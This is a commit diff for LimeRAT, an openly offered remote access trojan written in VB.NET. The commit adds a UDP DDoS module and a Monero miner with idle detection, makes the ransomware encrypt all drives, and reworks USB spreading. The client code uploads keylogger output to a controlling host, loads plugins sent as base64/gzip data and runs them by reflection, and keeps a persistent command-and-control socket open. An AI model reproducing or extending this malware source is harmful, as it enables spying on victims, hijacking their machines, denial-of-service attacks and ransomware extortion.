UPDATE 0.1.8.2F

-Added DDOS -> UDP -Added XMR -> Test settings before send -Updated filemanager -> shows USB,Network drivers -Updated XMR -> Detects user is idle or active + Better miner kill -Updated stub and plugins -> Force to 32bit -Updated ransomware -> Encrypt all drivers -Updated ping -> Ping all clients every 30sec -Updated AutoUpdate -> Using Timer -Fixed spread -> Updating status -Fixed DDOS -> Receving "MSG"
HachimanSec · Sep 9, 2018 · 68084ca · 68084ca
1 parent 3d5a34c
commit 68084ca
Show file tree

Hide file tree

Showing 82 changed files with 2,186 additions and 1,492 deletions.
diff --git a/.vs/LimeRAT/DesignTimeBuild/.dtbcache b/.vs/LimeRAT/DesignTimeBuild/.dtbcache
diff --git a/.vs/LimeRAT/v15/.suo b/.vs/LimeRAT/v15/.suo
diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide
diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm
diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal
diff --git a/Project/Client/C_Commands.vb b/Project/Client/C_Commands.vb
@@ -2,8 +2,7 @@
 
     Public Class C_Commands
 
-        Private Shared SPL = C_Settings.SPL
-        Private Shared C As New C_Socket
+        Private Shared ReadOnly SPL = C_Settings.SPL
 
         Public Shared Sub Data(ByVal b As Byte())
             Dim EN As String = C_Encryption.AES_Decrypt(BS(b))
@@ -12,15 +11,19 @@
             Try
                 Select Case A(0)
 
+                    Case "!PSend"
+                        C_Socket._start = True
+                        C_Socket.Send("!PStart")
+
                     Case "!P"
-                        C.Send("!P")
+                        C_Socket._stop = True
 
                     Case "KL"
-                        C.Send("KL" + SPL + C_ID.HWID + SPL + IO.File.ReadAllText(IO.Path.GetTempPath + "\" + IO.Path.GetFileNameWithoutExtension(Windows.Forms.Application.ExecutablePath) + ".tmp"))
+                        C_Socket.Send("KL" + SPL + C_ID.HWID + SPL + IO.File.ReadAllText(IO.Path.GetTempPath + "\" + IO.Path.GetFileNameWithoutExtension(Windows.Forms.Application.ExecutablePath) + ".tmp"))
 
                     Case "CPL" 'check plugin
                         If GTV(A(1)) = Nothing Then
-                            C.Send("GPL" + SPL + A(1))
+                            C_Socket.Send("GPL" + SPL + A(1))
                         Else
                             Plugin(GZip(Convert.FromBase64String(GTV(A(1))), False))
                         End If
@@ -31,10 +34,9 @@
 
                     Case "IPLM"
                         Plugin(GZip(Convert.FromBase64String(A(1)), False), A(2))
-
                 End Select
             Catch ex As Exception
-                C.Send("MSG" + SPL + "Error! " + ex.Message)
+                C_Socket.Send("MSG" + SPL + "Error! " + ex.Message)
             End Try
 
         End Sub
@@ -44,18 +46,16 @@
                 For Each Type_ As Type In AppDomain.CurrentDomain.Load(B).GetTypes
                     For Each GM In Type_.GetMethods
                         If GM.Name = "CN" Then
-                            GM.Invoke(Nothing, New Object() {C_Settings.HOST, C_Settings.PORT, C_Socket.KEY, C_Socket.SPL, C_Settings.EncryptionKey, C_Settings.fullpath, C_ID.HWID, C_ID.Bot, C_Encryption.AES_Decrypt(C_Settings.Pastebin)})
+                            GM.Invoke(Nothing, New Object() {C_Settings.HOST, C_Settings.PORT, C_Socket.ENDOF, C_Socket.SPL, C_Settings.EncryptionKey, C_Settings.fullpath, C_ID.HWID, C_ID.Bot, C_Encryption.AES_Decrypt(C_Settings.Pastebin)})
                         ElseIf GM.Name = "MISC" Then
                             GM.Invoke(Nothing, New Object() {C_ID.HWID, CMD})
                         ElseIf GM.Name = "CL" Then
                             GM.Invoke(Nothing, New Object() {C_Settings.DROP, C_Settings.EXE, C_Settings.fullpath, C_ID.Privileges, C_ID.HWID, CMD})
-                        ElseIf GM.Name = "XMR" Then
-                            GM.Invoke(Nothing, New Object() {C_Settings.DROP, C_Settings.EXE, C_Settings.fullpath, C_ID.Privileges, C_ID.HWID, CMD})
                         End If
                     Next
                 Next
             Catch ex As Exception
-                C.Send("MSG" + SPL + "Plugin Error! " + ex.Message)
+                C_Socket.Send("MSG" + SPL + "Plugin Error! " + ex.Message)
             End Try
         End Sub
 

diff --git a/Project/Client/C_ID.vb b/Project/Client/C_ID.vb
@@ -161,7 +161,6 @@
             Try
                 If GTV("XMR") = Nothing Then
                     STV("XMR", "Idle")
-                    Return "Idle"
                 End If
 
                 Dim p() As Diagnostics.Process
@@ -172,17 +171,29 @@
                         Dim searcher As Management.ManagementObjectSearcher = New Management.ManagementObjectSearcher(wmiQuery)
                         Dim retObjectCollection As Management.ManagementObjectCollection = searcher.Get
                         For Each retObject As Management.ManagementObject In retObjectCollection
-                            If retObject("CommandLine").ToString.Contains("--donate-level=1") Then
-                                Return "Running"
+                            If retObject("CommandLine").ToString.Contains("--donate-level=") Then
+                                STV("XMR", "Minning")
                             End If
                         Next
                     Catch ex As Exception
                     End Try
                 Else
-                    Return "Idle"
+                    STV("XMR", "Idle")
+                End If
+                Return GTV("XMR").ToString
+            Catch ex As Exception
+            End Try
+        End Function
+
+        Public Shared Function Flood()
+            Try
+                If GTV("Flood") = Nothing Then
+                    STV("Flood", " ")
                 End If
 
+                Return GTV("Flood")
             Catch ex As Exception
+                Return "Error"
             End Try
         End Function
 

diff --git a/Project/Client/C_Main.vb b/Project/Client/C_Main.vb
@@ -1,5 +1,5 @@
 '##################################################################
-'##         N Y A N   C A T  |||   Updated on Aug/20/2018        ##
+'##        N Y A N   C A T  |||   Updated on Sept/09/2018        ##
 '##################################################################
 '##                                                              ##
 '##                                                              ##
@@ -31,6 +31,7 @@
 '##################################################################
 '## I am not responsible For any actions caused by this software ##
 '##################################################################
+'##################################################################
 
 Namespace Lime
 
@@ -108,49 +109,61 @@ Namespace Lime
         Declare Sub IdleTimerReset Lib "coredll.dll" Alias "SystemIdleTimerReset" ()
         Private Shared Sub Checking()
             Threading.Thread.CurrentThread.Sleep(5000)
-            Dim OldRans As String = GTV("Rans-Status")
-            Dim OldUSB As String = GTV("USB")
-            Dim OldXMR As String = GTV("XMR")
-            Dim OldFLD As String = GTV("Flood")
+
+            Dim OldRans As String = C_ID.Rans
+            Dim OldUSB As String = C_ID.USBSP
+            Dim OldXMR As String = C_ID.XMR
+            Dim OldFLD As String = C_ID.Flood
             C_Nosleep.No_Sleep()
 
             While True
-                Try
+
 1:
                     If C.CNT = True Then
                         Threading.Thread.CurrentThread.Sleep(3000)
                         'Compare old string with new string            
-                        If OldRans <> GTV("Rans-Status").ToString Then
+
+                        Try
+                        If OldRans <> GTV("Rans-Status") Then
                             OldRans = GTV("Rans-Status")
                             C.Send("!R" & SPL & OldRans)
                         End If
+                    Catch ex As Exception
+
+                        End Try
 
-                        If C_Settings.USB Then
-                            If OldUSB <> GTV("USB").ToString Then
-                                OldUSB = GTV("USB")
-                                C.Send("!SP" & SPL & OldUSB)
+                        Try
+                            If C_Settings.USB Then
+                                If OldUSB <> GTV("USB").ToString Then
+                                    OldUSB = GTV("USB")
+                                    C.Send("!SP" & SPL & OldUSB)
+                                End If
                             End If
-                        End If
+                        Catch ex As Exception
+                        End Try
 
+                        Try
                         If OldXMR <> C_ID.XMR Then
-                            STV("XMR", C_ID.XMR.ToString)
                             OldXMR = GTV("XMR")
                             C.Send("!X" & SPL & OldXMR)
                         End If
-
-                        If OldFLD <> GTV("Flood").ToString Then
-                            OldFLD = GTV("Flood")
-                            C.Send("MSG" & SPL & "Flood! " & OldFLD)
-                            OldFLD = ""
-                            STV("Flood", "")
-                        End If
+                    Catch ex As Exception
+                        End Try
+
+                        Try
+                            If OldFLD <> GTV("Flood").ToString Then
+                                OldFLD = GTV("Flood")
+                                C.Send("MSG" & SPL & "Flood! " & OldFLD)
+                                OldFLD = ""
+                                STV("Flood", "")
+                            End If
+                        Catch ex As Exception
+                        End Try
 
                     Else
                         Threading.Thread.CurrentThread.Sleep(5000)
                     End If
-                Catch ex As Exception
-                    GoTo 1
-                End Try
+
             End While
 
         End Sub

diff --git a/Project/Client/C_Settings.vb b/Project/Client/C_Settings.vb
@@ -9,7 +9,7 @@
         Public Shared HOST As String 'IP
         Public Shared PORT As Integer 'PORT
         Public Shared EncryptionKey As String = "NYANCAT" 'encryption/decryption key
-        Public Shared KEY As String = "|'N'|" 'socket key
+        Public Shared ENDOF As String = "|'N'|" 'socket key
         Public Shared SPL As String = "|'L'|" 'split bytes
         Public Shared EXE As String = "CLIENT.exe" 'client name
         Public Shared MTX As Threading.Mutex
@@ -30,7 +30,7 @@
         Public Shared HOST As String
         Public Shared PORT As Integer
         Public Shared EncryptionKey As String = "%PASS%"
-        Public Shared KEY As String = "%KEY%"
+        Public Shared ENDOF As String = "%KEY%"
         Public Shared SPL As String = "%SPL%"
         Public Shared EXE As String = "%EXE%"
         Public Shared MTX As Threading.Mutex

diff --git a/Project/Client/C_Socket.vb b/Project/Client/C_Socket.vb
@@ -1,30 +1,13 @@
 Namespace Lime
 
     Public Class C_Socket
-        Public Shared KEY As String = C_Settings.KEY
+        Public Shared ENDOF As String = C_Settings.ENDOF
         Public Shared SPL As String = C_Settings.SPL
         Public Shared C As Net.Sockets.TcpClient
         Public Shared R As New Random
         Public Shared T1 As New Threading.Thread(AddressOf Connect)
         Public Shared CNT As Boolean = False
 
-        Public Shared Sub SendData(ByVal b As Byte())
-            If CNT = False Then Exit Sub
-            Try
-                Dim r As Object = New IO.MemoryStream
-                r.Write(b, 0, b.Length)
-                r.Write(SB(KEY), 0, KEY.Length)
-                C.Client.Send(r.ToArray, 0, r.Length, Net.Sockets.SocketFlags.None)
-                r.Dispose()
-            Catch ex As Exception
-                CNT = False
-            End Try
-        End Sub
-
-        Public Shared Sub Send(ByVal S As String)
-            SendData(SB(C_Encryption.AES_Encrypt(S)))
-        End Sub
-
         Public Shared Sub Connect()
             Dim MS As New IO.MemoryStream ' create memory stream
             Dim KA As Integer = 0
@@ -44,8 +27,8 @@ re:
                     C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None)
                     MS.Write(B, 0, B.Length)
 rr:
-                    If BS(MS.ToArray).Contains(KEY) Then ' split packet..
-                        Dim A As Array = SplitWord(MS.ToArray, KEY)
+                    If BS(MS.ToArray).Contains(ENDOF) Then ' split packet..
+                        Dim A As Array = SplitWord(MS.ToArray, ENDOF)
                         Dim T As New Threading.Thread(AddressOf C_Commands.Data)
                         T.Start(A(0))
                         MS.Dispose()
@@ -59,7 +42,7 @@ rr:
             Catch ex As Exception
                 GoTo e
             End Try
-            Threading.Thread.CurrentThread.Sleep(1)
+            Threading.Thread.Sleep(1)
             GoTo re
 e:      ' clear things and ReConnect
             CNT = False
@@ -74,10 +57,10 @@ e:      ' clear things and ReConnect
             MS = New IO.MemoryStream
             Try
                 C = New Net.Sockets.TcpClient
+                C.SendBufferSize = 999999
+                C.ReceiveBufferSize = 999999
                 C.ReceiveTimeout = -1
                 C.SendTimeout = -1
-                C.SendBufferSize = 9999999
-                C.ReceiveBufferSize = 9999999
 
                 KA = 0
 #If DEBUG Then
@@ -97,15 +80,55 @@ e:      ' clear things and ReConnect
                 C.Client.Connect(C_Settings.HOST, C_Settings.PORT)
                 CNT = True
                 'Send info to server
-                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.1", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
-                                   C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, " ", SPL, " "))
+                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.2F", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
+                                   C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, "...", SPL, " "))
+                Dim P As New Threading.Thread(AddressOf PING)
+                P.Start()
             Catch ex As Exception
-                Threading.Thread.CurrentThread.Sleep(R.Next(5000))
+                Threading.Thread.Sleep(R.Next(5000))
                 GoTo e
             End Try
             GoTo re
         End Sub
 
+        Public Shared Sub SendData(ByVal b As Byte())
+            If CNT = False Then Exit Sub
+            Try
+                Dim r As Object = New IO.MemoryStream
+                r.Write(b, 0, b.Length)
+                r.Write(SB(ENDOF), 0, ENDOF.Length)
+                C.Client.Send(r.ToArray, 0, r.Length, Net.Sockets.SocketFlags.None)
+                r.Dispose()
+            Catch ex As Exception
+                CNT = False
+            End Try
+        End Sub
+
+        Public Shared Sub Send(ByVal S As String)
+            SendData(SB(C_Encryption.AES_Encrypt(S)))
+        End Sub
+
+        Public Shared _stop As Boolean = False
+        Public Shared _start As Boolean = False
+        Public Shared MS As Integer = 0
+        Public Shared Sub PING(sock As Integer)
+re:
+            Try
+                If CNT = False Then MS = 0 : Exit Sub
+                If _start Then
+                    MS += 1
+                    If _stop Then
+                        Send("!P" + SPL + MS.ToString)
+                        MS = 0
+                        _start = False
+                        _stop = False
+                    End If
+                End If
+                    Threading.Thread.Sleep(1)
+            Catch : End Try
+            GoTo re
+        End Sub
+
     End Class
 
 End Namespace
diff --git a/Project/Client/Client.vbproj b/Project/Client/Client.vbproj
@@ -14,7 +14,7 @@
     <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
   </PropertyGroup>
   <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
-    <PlatformTarget>AnyCPU</PlatformTarget>
+    <PlatformTarget>x86</PlatformTarget>
     <DebugSymbols>true</DebugSymbols>
     <DebugType>full</DebugType>
     <DefineDebug>true</DefineDebug>
@@ -25,7 +25,7 @@
     <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
   </PropertyGroup>
   <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
-    <PlatformTarget>AnyCPU</PlatformTarget>
+    <PlatformTarget>x86</PlatformTarget>
     <DebugType>none</DebugType>
     <DefineDebug>false</DefineDebug>
     <DefineTrace>true</DefineTrace>

diff --git a/Project/Client/My Project/AssemblyInfo.vb b/Project/Client/My Project/AssemblyInfo.vb
@@ -10,9 +10,9 @@ Imports System.Runtime.InteropServices
 
 <Assembly: AssemblyTitle("")>
 <Assembly: AssemblyDescription("")>
-<Assembly: AssemblyCompany("Microsoft")>
+<Assembly: AssemblyCompany("")>
 <Assembly: AssemblyProduct("")>
-<Assembly: AssemblyCopyright("Copyright © Microsoft 2018")>
+<Assembly: AssemblyCopyright("")>
 <Assembly: AssemblyTrademark("")>
 
 <Assembly: ComVisible(False)>

diff --git a/Project/Plugins/CRYP/CRYP.vbproj b/Project/Plugins/CRYP/CRYP.vbproj
@@ -23,7 +23,7 @@
     </DocumentationFile>
     <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
     <Prefer32Bit>false</Prefer32Bit>
-    <PlatformTarget>AnyCPU</PlatformTarget>
+    <PlatformTarget>x86</PlatformTarget>
   </PropertyGroup>
   <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
     <DebugType>pdbonly</DebugType>
@@ -35,7 +35,7 @@
     </DocumentationFile>
     <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
     <Prefer32Bit>false</Prefer32Bit>
-    <PlatformTarget>AnyCPU</PlatformTarget>
+    <PlatformTarget>x86</PlatformTarget>
   </PropertyGroup>
   <PropertyGroup>
     <OptionExplicit>On</OptionExplicit>